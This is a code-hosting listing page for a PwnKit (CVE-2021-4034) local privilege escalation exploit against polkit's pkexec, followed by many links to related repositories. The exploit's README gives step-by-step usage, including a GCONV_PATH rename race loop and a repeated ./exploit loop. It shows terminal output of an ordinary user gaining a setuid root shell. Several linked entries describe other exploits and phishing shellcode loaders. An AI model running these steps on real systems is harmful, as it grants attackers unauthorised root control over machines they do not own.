Exploit for the pwnkit vulnerability from the Qualys team

Terry Chia

Last update: Dec 22, 2022

Related tags

Miscellaneous CVE-2021-4034

Overview

CVE-2021-4034

Exploit for the pwnkit vulnerability from the Qualys team.

This exploit assumes that gcc is present on the target machine.

$ id
uid=1001(ayrx) gid=1002(ayrx) groups=1002(ayrx),27(sudo)
$ ./setup.sh

Run the following command in one bash session:

while :; do mv "GCONV_PATH=./value" "GCONV_PATH=./value.bak"; mv "GCONV_PATH=./value.bak" "GCONV_PATH=./value"; done

Run the following command in another bash session:

while :; do ./exploit; done

You will eventually win the race and obtain a shell binary that gives you root access:

$ ls -lah shell
-rwsrwxrwx 1 root ayrx 16K Jan 26 08:57 shell
$ ./shell
# id
uid=0(root) gid=1002(ayrx) groups=1002(ayrx),27(sudo)

Servo library with stm developed by the Liek Software Team. We are working on new versions.

Liek-Servo-Library Liek Servo Library is a library that makes it easy for you to drive servo motors with STM32F10x series cards. The library is still

14 Nov 4, 2022

Matryoshka loader is a tool that red team operators can leverage to generate shellcode for Microsoft Office document phishing payloads.

Overview Matryoshka loader is a tool that red team operators can leverage to generate shellcode for an egghunter to bypass size-limitations and perfor

26 Dec 15, 2022

Team hashcat event writeups and tools

Team hashcat event writeups and tools We're a group of people participating in the yearly repeating password cracking contests. Achievements Competiti

23 Nov 4, 2022

Software Running on the VEX V5 Brain for the USF IEEE VEX Robotics Team.

This is an ongoing Project at USF IEEE VEX Team for VEX Head-to-Head 2022 This is the software running on our USF Big-Bull-Bot, specified to compete i

2 Oct 7, 2022

Team 3's final project for ECE 485/585 F'21

ECE585_Team3 Team 3's final project for ECE 485/585 F'21 Braden Harwood, Stephen Short, Michael Weston, Drew Seidel *Information sourced from Dr. Faus

1 Dec 10, 2021

This is a product / project developed by a team of Five Members including Mithilesh Ghadge for the Engineering Clinics at Vellore Institute Of Technology

UltrasonicSensorGlasses-for-blind-people This is a product / project developed by a team of Five Members including Mithilesh Ghadge for the Engineerin

2 Oct 14, 2021

2021 ICPC Seoul Regional White Whale team note

icpc-team-note 2021 ICPC Seoul Regional White Whale team note 커밋 규칙 반드시 algorithms 폴더 아래에 각자의 소스 파일 .cpp을 넣는다. 이름: 알고리즘 명칭 이렇게 하면 충돌이 없다! Fork / Branc

7 Dec 17, 2022

bl_mcu_sdk is MCU software development kit provided by Bouffalo Lab Team for BL602/BL604, BL702/BL704/BL706 and other series of RISC-V based chips in the future.

bl mcu sdk is an MCU software development kit provided by the Bouffalo Lab Team for BL602/BL604, BL702/BL704/BL706 and other series of chips in the future

165 Dec 23, 2022

This repo contains information about EDRs that can be useful during red team exercise.

EDRs This repo contains information about EDRs that can be useful during red team exercise. patch_syscall_dynamically64.c This proof-of-concept is res

1.6k Dec 29, 2022

Owner

Terry Chia

GitHub

PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

CVE-2021-4034 PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) https://seclists.org/oss-sec/2022/q1/80 http

933 Dec 22, 2022

An exploit for CVE-2021-4034 aka Pwnkit: Local Privilege Escalation in polkit's pkexec

CVE-2021-4034 Exploit Usage $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make [!] CVE-2021-4034 Exploit By whokilledd

3 Jun 30, 2022

Exploit for CVE-2021-40449 - Win32k Elevation of Privilege Vulnerability (LPE)

CallbackHell Exploit for CVE-2021-40449 (Win32k - LPE) CallbackHell Description Technical Writeup PoC References Description CVE-2021-40449 is a use-a

437 Dec 31, 2022

Some hypervisor research notes. There is also a useful exploit template that you can use to verify / falsify any assumptions you may make while auditing code, and for exploit development.

Introduction Over the past few weeks, I've been doing some hypervisor research here and there, with most of my focus being on PCI device emulation cod

130 Nov 18, 2022

TAFuzzer: Effective and Efficient Targeted Fuzzing framework for Smart Contract Vulnerability Detection (CCS2022a Under Review).

TAFuzzer An effective and efficient targeted fuzzing framework for smart contract vulnerability detection. Requirements TAFuzzer is supported on Linux

2 Feb 7, 2022

Exploit for the pwnkit vulnerability from the Qualys team

Related tags

Overview

CVE-2021-4034

You might also like...

Servo library with stm developed by the Liek Software Team. We are working on new versions.

Matryoshka loader is a tool that red team operators can leverage to generate shellcode for Microsoft Office document phishing payloads.

Team hashcat event writeups and tools

Software Running on the VEX V5 Brain for the USF IEEE VEX Robotics Team.

Team 3's final project for ECE 485/585 F'21

This is a product / project developed by a team of Five Members including Mithilesh Ghadge for the Engineering Clinics at Vellore Institute Of Technology

2021 ICPC Seoul Regional White Whale team note

bl_mcu_sdk is MCU software development kit provided by Bouffalo Lab Team for BL602/BL604, BL702/BL704/BL706 and other series of RISC-V based chips in the future.

This repo contains information about EDRs that can be useful during red team exercise.

Owner

Terry Chia

PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

An exploit for CVE-2021-4034 aka Pwnkit: Local Privilege Escalation in polkit's pkexec

Exploit for CVE-2021-40449 - Win32k Elevation of Privilege Vulnerability (LPE)

Some hypervisor research notes. There is also a useful exploit template that you can use to verify / falsify any assumptions you may make while auditing code, and for exploit development.

PoC for CVE-2021-28476 a guest-to-host "Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.

PoC (DoS) for CVE-2021-40449 - Win32k Elevation of Privilege Vulnerability (LPE)

struct_san is a vulnerability prevention tool that dynamically detects function pointers in kernel structures

Vulnerability Exploitation Code Collection Repository

Log4j Vulnerability Scanner for Windows

TAFuzzer: Effective and Efficient Targeted Fuzzing framework for Smart Contract Vulnerability Detection (CCS2022a Under Review).